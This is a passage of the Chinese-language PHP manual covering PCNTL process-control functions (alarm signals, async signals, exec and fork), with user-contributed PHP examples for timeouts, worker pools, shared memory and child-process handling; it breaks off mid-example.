为进程设置 alarm 闹钟信号

  • ? PCNTL 函数
  • pcntl_async_signals ?
  • PHP Manual
  • PCNTL 函数
  • 为进程设置 alarm 闹钟信号

pcntl_alarm

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pcntl_alarm — 为进程设置 alarm 闹钟信号

说明

pcntl_alarm(int $seconds): int

创建计时器，在指定的秒数后向进程发送 SIGALRM 信号。每次对 pcntl_alarm() 的调用都会取消之前设置的 alarm 信号。

参数

seconds

等待的秒数。如果 seconds 设置为 0,将不会创建 alarm 信号。

返回值

返回上次 alarm 调度（离 alarm 信号发送）剩余的秒数，或者之前没有 alarm 调度（译注：或者之前调度已完成） 时返回 0。

User Contributed Notes

kuba at valentine dot dev 03-Jan-2023 05:32
Keep in mind that you can easily and selectively prevent signal types of your choosing (including SIGALRM) from interrupting blocking operations you don't want interrupted. Use pcntl_sigprocmask() to shield any part of your code, whenever needed and without affecting expected signal behavior for the rest of it.

Here is simple example of shielding one blocking sleep operation from being interrupted while allowing it to happen to another - right next to each other.

<?php
$alarm = 2;
$sleep = 10;
$stamp = time();

pcntl_async_signals(TRUE);

/**
 * Alarm signal handler.
 */
pcntl_signal(SIGALRM, function(int $sig) use ($alarm, &$stamp) {
  $late = (($now = time()) - $stamp) - $alarm;
  $stamp = $now;
  echo '* ALARM SIGNAL HANDLER * Fired '. ($late ? ($late .' seconds late') : 'on schedule') .' *'. PHP_EOL;
  pcntl_alarm($alarm);
});

/**
 * Sleeping function.
 */
function get_some_sleep(int $duration, string $info) {
  $start = time();
  echo PHP_EOL . $duration .' seconds sleep - '. $info . PHP_EOL;
  sleep($duration);
  $early = $duration - (time() - $start);
  echo 'Sleep was '. ($early ? ('interrupted. Woke up '. $early .' seconds early.') : 'uninterrupted.') . PHP_EOL;
}

/**
 * Here we schedule first alarm.
 */
pcntl_alarm($alarm);

while (TRUE) {
  /**
   * This sleep can and will be interrupted by alarm signal.
   */
  get_some_sleep($sleep, 'without a shield');

  /**
   * Now we set our shield. From now on blocked signals will be ignored.
   * Each blocked signal type that fires while shield is up is put on hold.
   */
  pcntl_sigprocmask(SIG_BLOCK, [SIGALRM]);
  get_some_sleep($sleep, 'protected by sigprocmask()');

  /**
   * Now we take off our shield. If any blocked signal fired while shield
   * was up now it's handler will be executed immediately, single time.
   * This is very useful behaviour because we protect what needs protecting but also
   * don't miss out on anything - without being flooded thanks to "once per type" queue.
   */
  pcntl_sigprocmask(SIG_UNBLOCK, [SIGALRM]);
}
molsavsky1 at gmail dot com 17-Dec-2021 09:55
Beware that pcntl_signal will interrupt (u)sleep calls which will not be resumed once the handler is completed.

It's a documented behaviour (https://www.php.net/manual/en/function.sleep.php) although it may look like a bug when encountered for the first time.

From the docs:
"If the call was interrupted by a signal, sleep() returns a non-zero value. On Windows, this value will always be 192 (the value of the WAIT_IO_COMPLETION constant within the Windows API). On other platforms, the return value will be the number of seconds left to sleep."

```
<?php

$interval = 1;
pcntl_async_signals(true);

pcntl_signal(SIGALRM, function () use ($interval): void {
    echo 'SIGALRM called' . PHP_EOL;
    pcntl_alarm($interval);
});

pcntl_alarm($interval);

echo 'Sleep (will be interrupted) started' . PHP_EOL;

sleep(100000000000);

echo 'Sleep ended soon due to interrupt' . PHP_EOL;

$sleepTimeout = 10;
echo "Proper sleep for {$sleepTimeout} seconds" . PHP_EOL;

$startedAt = time();
while ($sleepTimeout > 0 && ($sleepTimeout = sleep($sleepTimeout)) !== true) {
    echo "Sleep interrupted, {$sleepTimeout} seconds remaining" . PHP_EOL;
}

$elapsed = time() - $startedAt;
echo "Sleep finished after {$elapsed} seconds" . PHP_EOL;
```
kuba at valentine dot dev 24-Oct-2020 08:25
This is that universal timeout functionality you dreamed about and always wanted to have and guess what - it's as reliable as it gets, it's basically bulletproof. It can interrupt absolutely anything you throw at it and more, you name it - socket_connect(), socket_read(), fread(), infinite while() loops, sleep(), semaphores - seriously, any blocking operation. You can specify your own handler and just get over anything that normally would make your code unresponsive.

<?php
/**
 * Because we shouldn't handle asynchronous
 * events in synchronous manner.
 */
pcntl_async_signals(TRUE);

/**
 * Some flag we can change to know for sure
 * that our operation timed out.
 */
$timed_out = FALSE;

/**
 * Register SIGALRM signal handler to avoid
 * getting our process killed when signal arrives.
 */
pcntl_signal(SIGALRM, function($signal) use (&$timed_out) {
  $timed_out = TRUE;
});

/**
 * Now we set our timeout for 2 seconds, but it's not set in stone
 * we can call pcntl_alarm() anytime to extend or to turn if off.
 */
pcntl_alarm(2);

/**
 * Here we do something with unpredictable outcome that could
 * possibly block our program for a very long time.
 * I like sockets as an example, but it can be anything.
 */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$connection = socket_connect($socket, 'irc.ircnet.com', 6667);

/**
 * If our blocking operation didn't timed out then
 * timer is still ticking, we should turn it off ASAP.
 */
$timed_out || pcntl_alarm(0);

/**
 * And now we do whatever we want to do.
 */
$status = $connection ? 'Connected.' : ($timed_out ? 'Timed out.' : socket_strerror(socket_last_error($socket)));
echo 'STATUS: '. $status . PHP_EOL;
Gao,Shengwei 19-Apr-2018 05:12
Use pcntl_signal_dispatch() to catch the signal, don't use declare(ticks=1) because it is ineffcient

<?php
pcntl_signal(SIGALRM, function () {
    echo 'Received an alarm signal !' . PHP_EOL;
}, false);

pcntl_alarm(5);

while (true) {
    pcntl_signal_dispatch();
    sleep(1);
}


Enable/disable asynchronous signal handling or return the old setting

  • ? pcntl_alarm
  • pcntl_errno ?
  • PHP Manual
  • PCNTL 函数
  • Enable/disable asynchronous signal handling or return the old setting

pcntl_async_signals

(PHP 7 >= 7.1.0, PHP 8)

pcntl_async_signals — Enable/disable asynchronous signal handling or return the old setting

说明

pcntl_async_signals(?bool $enable = null): bool

If the enable parameter is null, pcntl_async_signals() returns whether asynchronous signal handling is enabled. Otherwise, asynchronous signal handling is enabled or disabled.

参数

enable

Whether asynchronous signal handling should be enabled.

返回值

When used as getter (enable parameter is null) it returns whether asynchronous signal handling is enabled. When used as setter (enable parameter is not null), it returns whether asynchronous signal handling was enabled before the function call.

更新日志

版本 | 说明
8.0.0 | enable is nullable now.

参见

  • declare

User Contributed Notes

There are no user contributed notes for this page.


别名 pcntl_get_last_error

  • ? pcntl_async_signals
  • pcntl_exec ?
  • PHP Manual
  • PCNTL 函数
  • 别名 pcntl_get_last_error

pcntl_errno

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_errno — 别名 pcntl_get_last_error()

说明

此函数是该函数的别名： pcntl_get_last_error()

User Contributed Notes

renmengyang567 at gmail dot com 06-Apr-2019 04:43
<explain>
This example installs an alarm signal, but the callback function does not exist,This will set the last error. Then we will print out the last error.

<?php
set_error_handler(function(){});
pcntl_signal(SIGALRM,'sig_handler',false);
print  'Your error returned was (Code):'.pcntl_get_last_error().PHP_EOL;
print  'Your error info:'.pcntl_strerror(pcntl_get_last_error()).PHP_EOL;


在当前进程空间执行指定程序

  • ? pcntl_errno
  • pcntl_fork ?
  • PHP Manual
  • PCNTL 函数
  • 在当前进程空间执行指定程序

pcntl_exec

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pcntl_exec — 在当前进程空间执行指定程序

说明

pcntl_exec(string $path, array $args = [], array $env_vars = []): bool

以给定参数执行程序。

参数

path

path 必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本（比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本）。 更多的信息请查看您系统的 execve（2）手册。

args

args 是一个要传递给程序的参数的字符串数组。

env_vars

env_vars 是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value 格式的，key 代表要传递的环境变量的名称，value 代表该环境变量值。

返回值

返回 false。

User Contributed Notes

maxime at diametrick dot com 02-May-2013 06:20
An alternative for Windows environment is to use the COM object. With this, you can start child process with Apache, or php.exe as parent process. Very useful for CLI or console PHC-Win applications.

if(!function_exists('pcntl_exec')){
  function pcntl_exec($path,$args=array()){
    if(is_string($args)) $args = array($args);
    if(count($args)) $path = '"'.$path.'"';
    $shell = new COM('WScript.Shell');
    $shell->run($path.(count($args) ? ' '.implode(' ',$args) : ''),0,true);
  }
}

Very useful too when you want to use ansicon. Instead of make a .bat file with ansicon -p and php .... (somefile).php, in your .php file you can put this on top of your code:

pcntl_exec('ansicon -p');

BINGO!
fahadsadah at gmail dot com dot please dot remove dot this 28-Jun-2008 07:44
Just a note regarding what rbemrose at vgmusic dot com said:
Once the executed process ends, control returns to the webserver process.
rbemrose at vgmusic dot com 06-Feb-2008 02:44
As a side note, if I'm reading the comments below correctly, you should not run this if you're using a PHP webserver module, as it will replace the webserver's process with whatever process you're telling it to run.
agodong at verizon dot net 07-Dec-2006 10:47
Some people might find it useful to run other program using the same process as a different user. This is very usefull if the script is running under root. Here is a simple code to achieve that under *nix PHP CLI:

#!/usr/bin/php -q
<?php
//Enter run-as user below (argument needed to be passed when the script is called), otherwise it will run as the caller user process.

$username = $_SERVER['argv'][1];

$user = posix_getpwnam($username);
posix_setuid($user['uid']);
posix_setgid($user['gid']);
pcntl_exec('/path/to/cmd');
?>

I use this as a part of socket program so that a program can be run under different user from remote location.
eric kilfoil 24-Oct-2006 10:01
The pcntl_exec() function works exactly like the standard (unix-style) exec() function.  It differs from the regular PHP exec() function in that the process calling the pcntl_exec() is replaced with the process that gets called.  This is the ideal method for creating children.  In a simple example (that does no error checking):

switch (pcntl_fork()) {
  case 0:
    $cmd = "/path/to/command";
    $args = array("arg1", "arg2");
    pcntl_exec($cmd, $args);
    // the child will only reach this point on exec failure,
    // because execution shifts to the pcntl_exec()ed command
    exit(0);
  default:
    break;
}

// parent continues
echo "I am the parent";

--

since this is not being executed through a shell, you must provide the exact path from the filesystem root.  Look at the execve() man page for more information.
michael dot ferre at mobileway dot com 20-Nov-2002 03:28
//To complete my last note
//If you use some object in your php code
//You will have some problem if you do a exit after include the
//child scripts
//You must use posix_kill() like that :

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0)
{
  include ($script_path);
  posix_kill(getmypid(),9);
}

//This code is very simple it can be ameliorate ;)


在当前进程当前位置产生分叉（fork）

  • ? pcntl_exec
  • pcntl_get_last_error ?
  • PHP Manual
  • PCNTL 函数
  • 在当前进程当前位置产生分叉（fork）

pcntl_fork

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_fork — 在当前进程当前位置产生分叉（fork）

说明

pcntl_fork(): int

pcntl_fork() 函数创建子进程，这个子进程仅 PID（进程号） 和 PPID（父进程号）与其父进程不同。有关分叉在系统上工作的具体细节，请参阅系统的 fork(2) 手册页。

参数

此函数没有参数。

返回值

成功时，在父进程执行线程内返回产生的子进程的 PID，在子进程执行线程内返回 0。失败时，在 父进程上下文返回 -1，不会创建子进程，并且会引发 PHP 错误。

示例

Example #1 pcntl_fork() 示例

<?php

$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
} else if ($pid) {
// 父进程
pcntl_wait($status); // 防止僵尸子进程
} else {
// 子进程
}

?>

参见

  • pcntl_rfork() - Manipulates process resources
  • pcntl_waitpid() - 等待或返回 fork 的子进程状态
  • pcntl_signal() - 安装信号处理程序
  • cli_set_process_title() - Sets the process title

User Contributed Notes

cyrus at hirvi dot com 18-Feb-2023 02:46
Here is an APCu alternative (instead of shared memory) function of fork_process by `kenneth at fellowrock dot com` https://www.php.net/manual/en/function.pcntl-fork.php#115855

<?php
// usage
$namespace = 'some_namespace';
$processes = [
    function () {
        sleep(1);
        return 'Hello';
    },
    function () {
        sleep(1);
        return ' world!';
    },
];
$callback = function ($result) {
    echo $result[0] . $result[1];
};
threadize($namespace, $processes, $callback);

function threadize(string $namespace, $processes, callable $callback)
{
    apcu_store($namespace . '_monitor', 0, 86400 * 3);
    for ($i = 0; $i < count($processes); $i++) {
        $pid = pcntl_fork();
        if (!$pid) {
            if ($i == 1) {
                usleep(100000);
            }
            apcu_store($namespace . '_process_result_' . $i, $processes[$i](), 86400 * 3);
            apcu_inc($namespace . '_monitor');
            exit(0);
        }
    }
    while (pcntl_waitpid(0, $status) != -1) {
        if (apcu_fetch($namespace . '_monitor') === count($processes)) {
            $result = [];
            for ($i = 0; $i < count($processes); $i++) {
                $result[$i] = apcu_fetch($namespace . '_process_result_' . $i);
                apcu_delete($namespace . '_process_result_' . $i);
            }
            $callback($result);
            apcu_delete($namespace . '_monitor');
        }
    }
}
?>
qu4qu426com123 at gmail dot com 21-Oct-2022 06:40
Simple solution if you want to reading result from child process into the parent thread that based on socket.
Hope this can be of use to someone.

<?php
function fork_process(...$callbacks)
{
    $callbackSocket = [];
    $callbacks = array_filter($callbacks, function ($callback) {
        return $callback instanceof \Closure;
    });
    /* On Windows need to use AF_INET */
    $domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);
    $pids = [];
    foreach ($callbacks as $index => $callback) {
        $setUpCallbackSocket = socket_create_pair($domain, SOCK_STREAM, 0, $callbackSocket[$index]);
        if (!$setUpCallbackSocket) {
            throw new \Exception(
                "socket_create_pair failed. Reason: " . socket_strerror(socket_last_error()),
                1
            );
        }
        $pid = pcntl_fork();
        if ($pid == 0) {
            try {
                $returnValue = $callback();
                // Declare $sendingData end of line , prevent socket_read hangs
                $sendingData = serialize($returnValue) . "\0\r\n";
                $bufferLength = mb_strlen($sendingData, '8bit');
                // If not declare $bufferLength, it is silently truncated to the length of SO_SNDBUF
                // @see https://www.php.net/manual/en/function.socket-write.php
                // @see https://www.php.net/manual/en/function.socket-get-option.php
                socket_write($callbackSocket[$index][0], $sendingData, $bufferLength);
                socket_close($callbackSocket[$index][0]);
            } finally {
                // Explicity kill process, or else the resource shared with parent will be closed
                posix_kill(getmypid(), SIGTERM);
                exit();
            }
        } else {
            $pids[$index] = $pid;
        }
    }
    $results = [];
    foreach ($pids as $index => $pid) {
        pcntl_waitpid($pid, $status);
        $msg = "";
        while ($resp = socket_read($callbackSocket[$index][1], 102400)) {
            $msg .= $resp;
            // prevent socket_read hangs
            if ($msg[-1] === "\n" && $msg[-2] === "\r" && $msg[-3] === "\0") {
                break;
            }
        }
        socket_close($callbackSocket[$index][1]);
        $results[] = unserialize(trim($msg));
    }
    return $results;
}

$time = microtime(true);
$resp = fork_process(
    function () {
        sleep(1);
        return 'first';
    },
    function () {
        sleep(2);
        return 'second';
    },
);
echo (microtime(true) - $time);
// 2.0448851585388
echo implode(' ', $resp);
// first second
?>
Inspired by https://stackoverflow.com/questions/8707339/sharing-variables-between-child-processes-in-php
williamdes at wdes dot fr 17-Apr-2022 02:53
<?php

declare(strict_types = 1);

/**
  * Helper method to execute a task
  */
function execute_task(int $task_id): void
{
    echo 'Starting task: ' . $task_id . PHP_EOL;

    // Simulate doing actual work with sleep()
    $execution_time = rand(5, 10);
    sleep($execution_time);

    echo "Completed task: ${task_id}. Took ${execution_time} seconds.\n";
}

/**
  * Builds a list of tasks
  */
function generator(): Generator
{
    $item_count = 50;
    for ($i = 1; $i <= $item_count; $i++) {
        yield $i;
    }
}

/**
  * Starts the work
  */
function launch(): void
{
    $processCount = 0;
    $status       = null;
    echo 'Running as pid: ' . getmypid() . PHP_EOL;

    $taskList = generator();
    do {
        echo 'Still tasks to do' . PHP_EOL;

        if ($processCount >= 5) {
            echo 'Waiting, currently running: ' . $processCount . PHP_EOL;
            pcntl_wait($status);
            $processCount--;
            continue;
        }

        echo 'Tasks running: ' . $processCount . PHP_EOL;
        $task = $taskList->current();
        $taskList->next();
        $processCount++;

        $pid = pcntl_fork();

        if ($pid === -1) {
            exit('Error forking...' . PHP_EOL);
        }

        if ($pid === 0) {
            $processList[] = getmypid();
            echo 'Running task as pid: ' . getmypid() . PHP_EOL;
            execute_task($task);
            exit();
        }
    } while ($taskList->valid());

    $waitForChildrenToFinish = true;
    while ($waitForChildrenToFinish) {
        // This while loop holds the parent process until all the child threads
        // are complete - at which point the script continues to execute.
        if (pcntl_waitpid(0, $status) === -1) {
            echo 'parallel execution is complete' . PHP_EOL;
            $waitForChildrenToFinish = false;
        }
    }

    // Code to run after all tasks are processed
}

launch();
simon dot riget at gmail dot com 23-Jul-2018 08:43
Be aware that pcntl_fork may return NULL (not -1) if the function is disabled in php.ini.
<?php
    $pid = pcntl_fork();
    if ( $pid < 0 || $pid === null )
        die ("Unable to fork process");
?>
laurent dot salomon at ymail dot com 19-Sep-2015 11:46
The following exemple works with php5.6 and apcu. This was tested on debian 7 and Ubuntu 14.04.2 LTS.

Here is a proposition of a simple Job class which execute a task list upon a item queue with shared memory capability :

class Job
{
    const
        CACHE_PREFIX = 'SHM/',
        WORKER_NUMBER = 10;

    private
        $_queues = [],
        $_tasks = [],
        $_pids = [],
        $_workerNumber,
        $_cacheHandler,
        $_prefix,
        $_id;

    public function __construct(array $queue, $workerNumber = self::WORKER_NUMBER)
    {
        $count = count($queue);

        $length = ceil($count / $workerNumber);

        $this->_queues = array_chunk($queue, $length);

        $this->setWorkerNumber($workerNumber);

        $this->_prefix = self::CACHE_PREFIX . microtime(true) . '/';
    }

    public function setWorkerNumber($workerNumber)
    {
        $this->_workerNumber = $workerNumber;
    }

    public function __get($key)
    {
        return apc_fetch($this->_prefix . $key);
    }

    public function __set($key, $value)
    {
        apc_store($this->_prefix . $key, $value);
    }

    public function add(Closure $task)
    {
        $this->_tasks[] = $task->bindTo($this, $this);

        return $this;
    }

    public function run(Closure $task = null)
    {
        if (isset($task))
        {
            $this->add($task);
        }

        $i = 0;

        do
        {
            $queue = $this->_queues[$i++];

            $pid = pcntl_fork();

            $this->_id = $i;

            if ($pid === -1)
            {
                die("can't fork !");
            }
            elseif ($pid !== 0) // main
            {
                $this->_pids[$pid] = $pid;
            }
            else // child
            {
                foreach($this->_tasks as $task)
                {
                    $task($queue);
                }

                exit(0);
            }
        }
        while($i < $this->_workerNumber);

        do // main
        {
            $pid = pcntl_wait($status);

            unset($this->_pids[$pid]);
        }
        while(count($this->_pids));
    }
}

$driver = new mysqli(':host', ':user', ':pwd', ':db');

$query = 'SELECT * FROM :table LIMIT :n';

if (false !== ($res = $driver->query($query)))
{
    $resultSet = [];

    while($row = mysqli_fetch_assoc($res))
    {
        $resultSet[] = $row;
    }

    $job = new Job($resultSet);

    $job->test = [];

    $job->run(function($queue = [])
    {
        // task

        foreach($queue as $value)
        {
            $test = $this->test;

            $value['workedId'] = $this->_id;

            // ...

            $test[] = $value;

            $this->test = $test;
        }
    });

    print_r($job->test);
}
jrm456 at speed dot 1s dot fr 09-Feb-2015 03:39
Workaround to pcntl_fork() not being usable when PHP is run as an Apache module

function background_job($program, $args)
{
    # The following doesn't work when running PHP as an apache module
    /*
    $pid = pcntl_fork();
    pcntl_signal(SIGCHLD, SIG_IGN);

    if ($pid == 0)
    {
        posix_setsid();
        pcntl_exec($program, $args, $_ENV);
        exit(0);
    }
    */

    # Workaround
    $args = join(' ', array_map('escapeshellarg', $args));
    exec("$program $args 2>/dev/null >&- /dev/null &");
}
kenneth at fellowrock dot com 03-Oct-2014 03:20
I just thought of contributing to this awesome community and hope this can be of use to someone. Although PHP provides threaded options, and multi curl handles that run in parallel, I managed to bash out a solution to run each function as it's own process for non-threaded versions of PHP.

Usage:  #!/usr/bin/php
Usage: php -f /path/to/file

#!/usr/bin/php
<?php
function fork_process($options)
{
    $shared_memory_monitor = shmop_open(ftok(__FILE__, chr(0)), "c", 0644, count($options['process']));
    $shared_memory_ids = (object) array();
    for ($i = 1; $i <= count($options['process']); $i++)
    {
        $shared_memory_ids->$i = shmop_open(ftok(__FILE__, chr($i)), "c", 0644, $options['size']);
    }
    for ($i = 1; $i <= count($options['process']); $i++)
    {
        $pid = pcntl_fork();
        if (!$pid)
        {
            if($i==1)
                usleep(100000);
            $shared_memory_data = $options['process'][$i - 1]();
            shmop_write($shared_memory_ids->$i, $shared_memory_data, 0);
            shmop_write($shared_memory_monitor, "1", $i-1);
            exit($i);
        }
    }
    while (pcntl_waitpid(0, $status) != -1)
    {
        if(shmop_read($shared_memory_monitor, 0, count($options['process'])) == str_repeat("1", count($options['process'])))
        {
            $result = array();
            foreach($shared_memory_ids as $key=>$value)
            {
                $result[$key-1] = shmop_read($shared_memory_ids->$key, 0, $options['size']);
                shmop_delete($shared_memory_ids->$key);
            }
            shmop_delete($shared_memory_monitor);
            $options['callback']($result);
        }
    }
}

// Create shared memory block of size 1M for each function.
$options['size'] = pow(1024,2);

// Define 2 functions to run as its own process.
$options['process'][0] = function()
{
    // Whatever you need goes here...
    // If you need the results, return its value.
    // Eg: Long running proccess 1
    sleep(1);
    return 'Hello ';
};
$options['process'][1] = function()
{
    // Whatever you need goes here...
    // If you need the results, return its value.
    // Eg:
    // Eg: Long running proccess 2
    sleep(1);
    return 'World!';
};
$options['callback'] = function($result)
{
    // $results is an array of return values...
    // $result[0] for $options['process'][0] &
    // $result[1] for $options['process'][1] &
    // Eg:
    echo $result[0].$result[1]."\n";
};
fork_process($options);

?>

If you'd like to get the results back from a webpage, use exec(). Eg: echo exec('php -f /path/to/file');

Continue hacking! :)
John Nicholls 06-Feb-2014 09:52
The notes on http://php.net/manual/en/function.posix-setsid.php describe how you can avoid accruing countless zombie processes by a simple call to posix_setsid() when a child starts.
manishpatel2280 at gmail dot com 08-Dec-2012 06:41
Its been easy to fork process with pcntl_fork.. but how can we control or process further once all child processes gets completed.. here is the way we can do that...

<?php
for ($i = 1; $i <= 5; ++$i) {
        $pid = pcntl_fork();

        if (!$pid) {
            sleep(1);
            print "In child $i\n";
            exit($i);
        }
    }

    while (pcntl_waitpid(0, $status) != -1) {
        $status = pcntl_wexitstatus($status);
        echo "Child $status completed\n";
    }
?>
kexianbin at diyism dot com 12-Dec-2011 11:17
Fork in foreach:

<?php
foreach ($tasks as $v)
        {if (($pid=pcntl_fork())===-1)
            {//...
             continue;
            }
         else if ($pid)
              {pcntl_wait($status, WNOHANG); //protect against zombie children, one wait vs one child
              }
         else if ($pid===0)
              {ob_start();//prevent output to main process
               register_shutdown_function(create_function('$pars', 'ob_end_clean();posix_kill(getmypid(), SIGKILL);'), array());//to kill self before exit();, or else the resource shared with parent will be closed
               //...
               exit();//avoid foreach loop in child process
              }
        }
?>
nmmm at nmmm dot nu 21-Nov-2011 10:57
It was driving me crazy that the script was killed couple of hours after I logged out, even I started it as:

php server.php >& logfile.txt

looks like PHP somehow interact with standard input, even I do not used it.

Solution was to start it with nohup:

nohup php server.php >& logfile.txt

or to do demonize / run as demon (e.g. fork() and close file descriptors)
sean dot kelly at mediatile dot com 22-Oct-2010 05:36
"Fatal Error" has always been the bane of my world because there is no way to capture and handle the condition in PHP. My team builds almost everything in PHP in order to leverage our core library of code, so it was of the essence to find a solution for this problem of scripts bombing unrecoverably and us never knowing about it.

One of our background automation systems creates a "task queue" of sorts and for each task in the queue, a PHP module is include()ed to handle the task. Sometimes however a poorly behaved module will nuke with a Fatal Error and take out the parent script with it.

I decided to try to use pcntl_fork() to isolate the task module from the parent code, and it seems to work: a Fatal Error generated within the module makes the child task bomb, and the waiting parent can simply catch the return code from the child and track/alert us to the problem as needed.

Naturally something similar could be done if I wanted to simply exec() the module and check the output, but then I would not have the benefit of the stateful environment that the parent script has so carefully prepared. This allows me to keep the child process within the context of the parent's running environment and not suffer the consequences of Fatal Errors stopping the task queue from continuing to process.

Here is fork_n_wait.php for your amusement:

<?php

if (! function_exists('pcntl_fork')) die('PCNTL functions not available on this PHP installation');

for ($x = 1; $x < 5; $x++) {
   switch ($pid = pcntl_fork()) {
      case -1:
         // @fail
         die('Fork failed');
         break;

      case 0:
         // @child: Include() misbehaving code here
         print "FORK: Child #{$x} preparing to nuke...\n";
         generate_fatal_error(); // Undefined function
         break;

      default:
         // @parent
         print "FORK: Parent, letting the child run amok...\n";
         pcntl_waitpid($pid, $status);
         break;
   }
}

print "Done! :^)\n\n";
?>

Which outputs:
php -q fork_n_wait.php
FORK: Child #1 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #2 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #3 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #4 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
Done! :^)
KrazyBox 12-Aug-2010 07:33
There are quite a few questions regarding how file descriptors get handled when processes are forked.

Remember that fork() makes a copy of the program, which means all descriptors are copied. Unfortunately, this is a rather bad situation for a PHP program because most descriptors are handled by PHP or a PHP Extension internally.

The simple, and probably "proper" way to solve this issue is to fork before hand, there really should be no need to fork at many different points among a program, you would simply fork, and then delegate the work. Use a master/worker hierarchy.

For example, if you need to have many processes that use a MySQL Connection, just fork before the connection is made, that way each child has it′s own connection to mysql that it, and it alone, manages.

With careful and correct usage, fork() can be an extremely powerful tool.

--Please remember to take proper care of your children.
somebody 12-Aug-2010 03:46
you should be _very_ careful with using fork in scripts beyond academic examples,
or rather just avoid it alltogether, unless you are very aware of it's limitations.

the problem is that it just forks the whole php process, including not only
the state of the script, but also the internal state of any extensions loaded.
this means that all memory is copied, but all file descriptors are shared among
the parent and child processes.
and that can cause major havoc if some extension internally maintains
file descriptors.
the primary example is ofcourse mysql, but this could be any extensions that
maintains open files or network sockets.
also, just reopening your connection in the parent or child isn't a safe
method, because when the old connection resource is destroyed, the extension
might not just close it, but for example send a request to the server to log
off, making the connection unusable.
this happens with mysql for example, when php exits - in the following script the query will always fail with "MySQL server has gone away":

<?php
mysql_connect(/* enter a working server here maybe? */);
if(pcntl_fork()) die(); // fork a child and have the parent terminate
//if(pcntl_fork()) posix_kill(getmypid(),9); // works, but very ugly
$r=mysql_query("select 1;");
if(!$r)die(mysql_error()."\n");
?>
(it was suggested that processes kill themselves with SIGKILL to avoid any cleanup on shutdown)

(the only save way would be to close all connections and reopen them after the fork, and even that might not be possible if an extension keeps one open internally)

for a nice demonstration of the havoc fork can create, try the below script.
it opens a mysql connection, then forks, and runs queries from both parent and child,
verifying that it receives the correct result.
run it (on the cli preferably) a few times, and you will find various possible
results:
- very often is just hangs and doesn't output anything anymore
- also very often, the server closes the connection, probably because it
  receives interleaved requests it can't process.
- sometimes one process gets the result of the OTHER processes'
  query! (because both send their queries down the same socket,
  and it's pure luck who gets the reply)

<?php
mysql_connect(/* enter a working server here maybe? */);
$f=pcntl_fork();
while(true){
    sleep(rand(0,10)/100);
    $r=mysql_query("select $f;");
    if(!$r)die($f.": ".mysql_error()."\n");
    list($x)=mysql_fetch_array($r);
    echo ($f)?".":"-";
    if($x!=$f) echo ($f.": fail: $x!=$f\n ");
}
?>
iulian 10-Jul-2010 11:58
When using fork to run multiple children processes on a single job queue using mysql, I used mysql_affected_rows() to prevent collisions between workers:

First I find a "free" job:
SELECT job_id FROM queue WHERE status="free"

Then I update the queue:
UPDATE queue SET worker_id={$worker_id} WHERE job_id={$job_id}

Then I see if the row was changed

<?php
if(mysql_affected_rows() == 0)
{
//the row hasn't changed, so it must mean that another worker has claimed the job, so I go back to the "find a free job" query
}
else
{
//do the job
}
?>
duerra at yahoo dot com 01-Jul-2010 07:06
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

I am including a stripped down version of a job daemon that should get a person on the right track.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);

            while(count($this->currentJobs) >= $this->maxProcesses){
               echo "Maximum children allowed, waiting...\n";
               sleep(1);
            }

            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
